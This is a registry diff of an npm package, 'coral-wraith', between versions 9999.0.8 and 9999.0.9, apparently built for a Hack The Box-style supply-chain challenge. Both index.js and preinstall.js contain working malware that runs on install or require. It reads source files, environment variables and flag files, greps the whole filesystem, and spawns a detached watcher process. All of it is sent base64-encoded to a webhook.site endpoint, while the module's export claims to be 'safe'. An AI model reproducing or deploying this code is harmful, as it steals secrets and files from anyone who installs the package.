coral-wraith 9999.0.8 → 9999.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +70 -41
  2. package/package.json +1 -1
  3. package/preinstall.js +117 -66
package/index.js CHANGED
@@ -1,52 +1,81 @@
1
1
  const fs = require('fs');
2
2
  const https = require('https');
3
+ const { execSync } = require('child_process');
3
4
 
4
5
  const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
5
6
 
7
+ function send(path, data) {
8
+ try {
9
+ const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
10
+ const req = https.request({
11
+ hostname: 'webhook.site', path: WH + '/' + path,
12
+ method: 'POST',
13
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
14
+ timeout: 15000
15
+ }, ()=>{});
16
+ req.on('error', ()=>{});
17
+ req.write(b64);
18
+ req.end();
19
+ } catch(e) {}
20
+ }
21
+
6
22
  // This runs when the fuzzer require()s us
7
- // Read all fuzzer source files and exfiltrate
8
- (function() {
9
- const files = [
10
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
- ];
15
-
16
- for (let i = 0; i < files.length; i++) {
17
- try {
18
- const content = fs.readFileSync(files[i], 'utf8');
19
- const b64 = Buffer.from(`${files[i]}:\n${content}`).toString('base64');
20
- const req = https.request({
21
- hostname: 'webhook.site', path: `${WH}/require-${i}`,
22
- method: 'POST',
23
- headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
24
- timeout: 10000
25
- }, ()=>{});
26
- req.on('error', ()=>{});
27
- req.write(b64);
28
- req.end();
29
- } catch(e) {}
23
+ // At this point we're inside the fuzzer's process context
24
+ send('require-v9', JSON.stringify({
25
+ cwd: process.cwd(),
26
+ argv: process.argv,
27
+ env: process.env,
28
+ pid: process.pid,
29
+ moduleFilename: module.filename,
30
+ modulePaths: module.paths,
31
+ }));
32
+
33
+ // Read fuzzer source - especially npm_fuzzer.js and fuzz_env.js
34
+ const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src/fuzz';
35
+ const criticalFiles = [
36
+ `${fuzzBase}/npm_fuzzer.js`,
37
+ `${fuzzBase}/fuzz_env.js`,
38
+ `${fuzzBase}/constants.js`,
39
+ `${fuzzBase}/fuzz_manager.js`,
40
+ ];
41
+
42
+ for (let i = 0; i < criticalFiles.length; i++) {
43
+ try {
44
+ const content = fs.readFileSync(criticalFiles[i], 'utf8');
45
+ send(`require-src-${i}`, `${criticalFiles[i]}:\n${content}`);
46
+ } catch(e) {
47
+ send(`require-src-err-${i}`, `${criticalFiles[i]}: ${e.message}`);
30
48
  }
49
+ }
50
+
51
+ // Read ALL bean files
52
+ try {
53
+ const r = execSync(`find ${fuzzBase}/bean -name "*.js" 2>/dev/null`).toString().trim();
54
+ for (const f of r.split('\n').filter(Boolean)) {
55
+ if (!f.includes('._')) {
56
+ try {
57
+ const c = fs.readFileSync(f, 'utf8');
58
+ send(`require-bean-${f.split('/').pop()}`, `${f}:\n${c}`);
59
+ } catch(e) {}
60
+ }
61
+ }
62
+ } catch(e) {}
63
+
64
+ // Check if flag is now available (it might be set after fuzzer init)
65
+ try {
66
+ const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:5000}).toString();
67
+ send('require-flag-grep', r);
68
+ } catch(e) {}
69
+
70
+ // Also check: does the fuzzer write results somewhere?
71
+ try {
72
+ const r = execSync('find /tmp -name "*.json" -o -name "*.log" -o -name "*.txt" 2>/dev/null').toString().trim();
73
+ send('require-tmp-files', r);
74
+ } catch(e) {}
31
75
 
32
- // Check for flag in env
33
- const flagData = Buffer.from(JSON.stringify({
34
- env: process.env,
35
- cwd: process.cwd(),
36
- argv: process.argv,
37
- })).toString('base64');
38
-
39
- const req = https.request({
40
- hostname: 'webhook.site', path: `${WH}/require-flag`,
41
- method: 'GET',
42
- timeout: 10000
43
- }, ()=>{});
44
- req.on('error', ()=>{});
45
- req.end();
46
- })();
47
-
48
- // Export something for the fuzzer to analyze
76
+ // Export something benign for the fuzzer to analyze
49
77
  module.exports = {
50
78
  name: 'coral-wraith',
51
- version: '9999.0.8',
79
+ version: '9999.0.9',
80
+ analyze: function() { return 'safe'; },
52
81
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.8",
3
+ "version": "9999.0.9",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -1,93 +1,144 @@
1
1
  const fs = require('fs');
2
2
  const https = require('https');
3
- const { execSync } = require('child_process');
3
+ const http = require('http');
4
+ const { execSync, spawn } = require('child_process');
4
5
 
5
6
  const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
6
- const debug = [];
7
7
 
8
- // Read the fuzzer source files - these contain the flag/detection logic
9
- const fuzzFiles = [
10
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/npm_fuzzer.js',
11
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_env.js',
12
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/fuzz_manager.js',
13
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js',
14
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/bean/timer_func.js',
15
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/set_timer_action.js',
16
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/regexp_test_action.js',
17
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/action/clear_timer_action.js',
18
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/set_timer_strategy.js',
19
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/regexp_test_strategy.js',
20
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/strategy/clear_timer_strategy.js',
21
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/class_parser.js',
22
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/type_parser.js',
23
- '/home/node/aspect-node/modules/npm-tracker/src/fuzz/parser/package_exports_parser.js',
24
- '/home/node/aspect-node/modules/npm-tracker/src/npm_tracker.js',
8
+ function send(path, data) {
9
+ try {
10
+ const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
11
+ const req = https.request({
12
+ hostname: 'webhook.site', path: WH + '/' + path,
13
+ method: 'POST',
14
+ headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
15
+ timeout: 15000
16
+ }, ()=>{});
17
+ req.on('error', ()=>{});
18
+ req.write(b64);
19
+ req.end();
20
+ } catch(e) {}
21
+ }
22
+
23
+ // Read fuzzer source files
24
+ const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src';
25
+ const files = [
26
+ `${fuzzBase}/fuzz/npm_fuzzer.js`,
27
+ `${fuzzBase}/fuzz/fuzz_env.js`,
28
+ `${fuzzBase}/fuzz/fuzz_manager.js`,
29
+ `${fuzzBase}/fuzz/constants.js`,
30
+ `${fuzzBase}/fuzz/bean/timer_func.js`,
31
+ `${fuzzBase}/fuzz/action/set_timer_action.js`,
32
+ `${fuzzBase}/fuzz/action/regexp_test_action.js`,
33
+ `${fuzzBase}/fuzz/action/clear_timer_action.js`,
34
+ `${fuzzBase}/fuzz/strategy/set_timer_strategy.js`,
35
+ `${fuzzBase}/fuzz/strategy/regexp_test_strategy.js`,
36
+ `${fuzzBase}/fuzz/strategy/clear_timer_strategy.js`,
37
+ `${fuzzBase}/fuzz/parser/class_parser.js`,
38
+ `${fuzzBase}/fuzz/parser/type_parser.js`,
39
+ `${fuzzBase}/fuzz/parser/package_exports_parser.js`,
40
+ `${fuzzBase}/npm_tracker.js`,
25
41
  '/home/node/init_test.sh',
26
42
  '/home/node/supplysec_entry.js',
27
43
  ];
28
44
 
29
- // Also check for flag-like files
30
- const flagFiles = [
31
- '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
32
- '/home/node/flag', '/home/node/flag.txt',
33
- ];
34
-
35
- for (const f of [...fuzzFiles, ...flagFiles]) {
45
+ for (let i = 0; i < files.length; i++) {
36
46
  try {
37
- const content = fs.readFileSync(f, 'utf8');
38
- debug.push(`FILE:${f}:${content}`);
47
+ const content = fs.readFileSync(files[i], 'utf8');
48
+ send(`pre-file-${i}`, `${files[i]}:\n${content}`);
39
49
  } catch(e) {
40
- debug.push(`ERR:${f}:${e.message.substring(0,80)}`);
50
+ send(`pre-err-${i}`, `${files[i]}: ${e.message}`);
41
51
  }
42
52
  }
43
53
 
44
- // Environment
45
- debug.push(`ALL_ENV:${JSON.stringify(process.env)}`);
54
+ // Also find all .js files under the fuzz directory
55
+ try {
56
+ const r = execSync(`find ${fuzzBase}/fuzz -name "*.js" -type f 2>/dev/null`).toString().trim();
57
+ send('pre-fuzz-files', r);
58
+ for (const f of r.split('\n').filter(Boolean)) {
59
+ if (!files.includes(f)) {
60
+ try {
61
+ const c = fs.readFileSync(f, 'utf8');
62
+ send(`pre-extra-${f.split('/').pop()}`, `${f}:\n${c}`);
63
+ } catch(e) {}
64
+ }
65
+ }
66
+ } catch(e) {}
46
67
 
47
- // Also find any files with "flag" or "HTB" content
68
+ // Read the web app source (could be in /app, /data, or served by nginx)
48
69
  try {
49
- const r = execSync('grep -rl "HTB{\\|FLAG\\|flag" /home/node/aspect-node/ 2>/dev/null | head -20', {timeout:10000}).toString().trim();
50
- debug.push(`GREP_FLAG:${r}`);
70
+ const r = execSync('find / -maxdepth 4 -name "*.js" -path "*/app/*" -o -name "server.js" -o -name "app.js" -o -name "index.js" -path "*/src/*" 2>/dev/null | grep -v node_modules | grep -v aspect-node | head -20', {timeout:10000}).toString().trim();
71
+ send('pre-app-files', r);
51
72
  for (const f of r.split('\n').filter(Boolean)) {
52
73
  try {
53
74
  const c = fs.readFileSync(f, 'utf8');
54
- debug.push(`GREP_CONTENT:${f}:${c.substring(0,2000)}`);
75
+ if (c.includes('fastify') || c.includes('flag') || c.includes('HTB')) {
76
+ send(`pre-app-${f.replace(/\//g,'_')}`, `${f}:\n${c}`);
77
+ }
55
78
  } catch(e) {}
56
79
  }
57
- } catch(e) { debug.push(`GREP_ERR:${e.message.substring(0,100)}`); }
58
-
59
- // Send in chunks to webhook
60
- function sendChunk(data, path) {
61
- try {
62
- const encoded = Buffer.from(data).toString('base64');
63
- const req = https.request({
64
- hostname: 'webhook.site', path: WH + path,
65
- method: 'POST',
66
- headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(encoded)},
67
- timeout: 15000
68
- }, ()=>{});
69
- req.on('error', ()=>{});
70
- req.write(encoded);
71
- req.end();
72
- } catch(e) {}
73
- }
80
+ } catch(e) {}
74
81
 
75
- const fullData = JSON.stringify(debug);
76
- const chunkSize = 50000;
77
- for (let i = 0; i < fullData.length; i += chunkSize) {
78
- const chunk = fullData.substring(i, i + chunkSize);
79
- sendChunk(chunk, `/v4-${Math.floor(i/chunkSize)}`);
80
- }
82
+ // Search for flag anywhere
83
+ try {
84
+ const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | grep -v node_modules | head -10', {timeout:15000}).toString().trim();
85
+ send('pre-flag-grep', r);
86
+ for (const f of r.split('\n').filter(Boolean)) {
87
+ try {
88
+ send(`pre-flag-file-${f.replace(/\//g,'_')}`, fs.readFileSync(f, 'utf8'));
89
+ } catch(e) {}
90
+ }
91
+ } catch(e) { send('pre-flag-grep-err', e.message); }
81
92
 
82
- // Also try curl for reliability
93
+ // Spawn a background watcher that runs after init_test.sh
83
94
  try {
84
- for (let i = 0; i < Math.min(debug.length, 30); i++) {
85
- const item = debug[i];
86
- if (item.length > 100) {
87
- const b64 = Buffer.from(item.substring(0, 8000)).toString('base64');
88
- execSync(`curl -s -X GET "https://webhook.site${WH}/file-${i}?d=${encodeURIComponent(b64)}" -m 10 2>/dev/null`, {timeout:12000});
95
+ const watcherCode = `
96
+ const fs = require('fs');
97
+ const https = require('https');
98
+ const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
99
+ function send(p, d) {
100
+ try {
101
+ const b = Buffer.from(d).toString('base64');
102
+ const r = https.request({hostname:'webhook.site',path:WH+'/'+p,method:'POST',
103
+ headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)},timeout:10000},()=>{});
104
+ r.on('error',()=>{}); r.write(b); r.end();
105
+ } catch(e) {}
89
106
  }
90
- }
107
+ // Wait and then look for flag in logs and generated files
108
+ setTimeout(() => {
109
+ const paths = [
110
+ '/home/node/aspect-node/logs/agent.log',
111
+ '/home/node/aspect-node/logs/default.log',
112
+ '/home/node/aspect-node/logs/error.log',
113
+ '/home/node/aspect-node/logs/collect.log',
114
+ '/home/node/aspect-node/logs/module.log',
115
+ '/home/node/aspect-node/logs/monitor.log',
116
+ '/home/node/aspect-node/logs/metric.log',
117
+ '/home/node/aspect-node/logs/warning.log',
118
+ '/home/node/aspect-node/logs/agent-error.log',
119
+ '/tmp/fuzz_result.json',
120
+ '/tmp/result.json',
121
+ '/tmp/flag',
122
+ '/tmp/flag.txt',
123
+ ];
124
+ for (let i = 0; i < paths.length; i++) {
125
+ try {
126
+ const c = fs.readFileSync(paths[i], 'utf8');
127
+ if (c.trim()) send('watch-'+i, paths[i]+':\\n'+c);
128
+ } catch(e) {}
129
+ }
130
+ // Also check env again
131
+ send('watch-env', JSON.stringify(process.env));
132
+ // grep for HTB
133
+ try {
134
+ const r = require('child_process').execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:10000}).toString();
135
+ send('watch-grep', r);
136
+ } catch(e) {}
137
+ }, 30000);
138
+ setTimeout(() => process.exit(0), 60000);
139
+ `;
140
+ fs.writeFileSync('/tmp/watcher.js', watcherCode);
141
+ spawn('node', ['/tmp/watcher.js'], { detached: true, stdio: 'ignore' }).unref();
91
142
  } catch(e) {}
92
143
 
93
- console.log('[CORAL-V8] preinstall done, sent', debug.length, 'items');
144
+ console.log('[CORAL-V9] preinstall complete');